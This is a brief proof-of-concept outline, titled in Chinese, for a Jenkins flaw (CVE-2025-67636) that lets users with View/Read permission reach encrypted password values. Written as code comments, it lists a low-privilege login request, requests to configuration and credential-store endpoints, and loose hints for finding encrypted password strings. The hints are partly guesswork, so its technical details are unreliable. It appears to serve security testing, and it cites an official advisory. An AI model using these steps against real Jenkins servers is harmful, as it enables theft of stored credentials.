Jenkins CVE-2025-67636 权限检查缺失导致加密密码泄露漏洞

// CVE-2025-67636 PoC - Permission Check Bypass in Jenkins Views // This PoC demonstrates how an authenticated user with View/Read permission // can access encrypted password values through Jenkins views // Step 1: Authenticate with low-privilege account // POST /j_spring_security_check // j_username=low_priv_user&j_password=password // Step 2: Access a view with password fields (requires View/Read permission) // GET /job/project/config.xml // GET /configureSecurity/configure // GET /credentials/store/system/domain/_/credentials // Step 3: Parse response for encrypted password patterns // Look for patterns like: <password>${...}</password> or encrypted password strings // Jenkins encrypted passwords typically start with {...}JENKINS... or similar prefixes // Note: This is for authorized security testing only // Reference: https://www.jenkins.io/security/advisory/2025-12-10/#SECURITY-1809